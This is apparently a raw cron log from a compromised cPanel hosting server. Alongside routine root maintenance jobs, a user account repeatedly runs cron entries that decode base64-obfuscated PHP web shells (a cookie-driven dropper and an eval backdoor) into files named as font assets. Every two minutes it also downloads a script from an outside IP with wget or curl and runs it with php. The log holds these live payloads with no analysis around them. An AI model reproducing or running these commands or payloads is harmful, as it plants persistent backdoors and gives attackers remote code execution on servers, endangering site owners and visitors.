Sep  2 17:04:02 ip-184-168-122-23 CROND[17106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:05:01 ip-184-168-122-23 CROND[17222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:05:01 ip-184-168-122-23 CROND[17223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:05:01 ip-184-168-122-23 CROND[17224]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 17:05:01 ip-184-168-122-23 CROND[17226]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:05:01 ip-184-168-122-23 CROND[17231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:05:01 ip-184-168-122-23 CROND[17229]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:05:01 ip-184-168-122-23 CROND[17230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:06:01 ip-184-168-122-23 CROND[17327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:06:01 ip-184-168-122-23 CROND[17330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:06:01 ip-184-168-122-23 CROND[17331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:06:01 ip-184-168-122-23 CROND[17329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:06:01 ip-184-168-122-23 CROND[17332]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:07:01 ip-184-168-122-23 CROND[17424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:07:01 ip-184-168-122-23 CROND[17426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:07:01 ip-184-168-122-23 CROND[17427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:07:01 ip-184-168-122-23 CROND[17429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:08:01 ip-184-168-122-23 CROND[17597]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:08:01 ip-184-168-122-23 CROND[17599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:08:01 ip-184-168-122-23 CROND[17600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:08:01 ip-184-168-122-23 CROND[17601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:08:01 ip-184-168-122-23 CROND[17602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:09:01 ip-184-168-122-23 CROND[17690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:09:01 ip-184-168-122-23 CROND[17694]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 17:09:01 ip-184-168-122-23 CROND[17696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:09:01 ip-184-168-122-23 CROND[17697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:09:01 ip-184-168-122-23 CROND[17695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:10:01 ip-184-168-122-23 CROND[17792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:10:01 ip-184-168-122-23 CROND[17794]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 17:10:01 ip-184-168-122-23 CROND[17796]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:10:01 ip-184-168-122-23 CROND[17797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:10:01 ip-184-168-122-23 CROND[17798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:10:01 ip-184-168-122-23 CROND[17799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:10:01 ip-184-168-122-23 CROND[17795]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:10:01 ip-184-168-122-23 CROND[17793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:11:01 ip-184-168-122-23 CROND[17907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:11:01 ip-184-168-122-23 CROND[17910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:11:01 ip-184-168-122-23 CROND[17908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:11:01 ip-184-168-122-23 CROND[17909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:12:01 ip-184-168-122-23 CROND[17992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:12:01 ip-184-168-122-23 CROND[17995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:12:01 ip-184-168-122-23 CROND[17996]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:12:01 ip-184-168-122-23 CROND[17997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:12:01 ip-184-168-122-23 CROND[17994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:13:01 ip-184-168-122-23 CROND[18193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:13:01 ip-184-168-122-23 CROND[18194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:13:01 ip-184-168-122-23 CROND[18191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:13:01 ip-184-168-122-23 CROND[18192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:14:01 ip-184-168-122-23 CROND[18278]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:14:01 ip-184-168-122-23 CROND[18279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:14:01 ip-184-168-122-23 CROND[18281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:14:01 ip-184-168-122-23 CROND[18282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:14:01 ip-184-168-122-23 CROND[18283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:15:01 ip-184-168-122-23 CROND[18365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:15:01 ip-184-168-122-23 CROND[18367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:15:01 ip-184-168-122-23 CROND[18368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:15:01 ip-184-168-122-23 CROND[18370]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:15:01 ip-184-168-122-23 CROND[18371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:15:01 ip-184-168-122-23 CROND[18372]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:16:01 ip-184-168-122-23 CROND[18479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:16:01 ip-184-168-122-23 CROND[18481]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 17:16:01 ip-184-168-122-23 CROND[18480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:16:01 ip-184-168-122-23 CROND[18482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
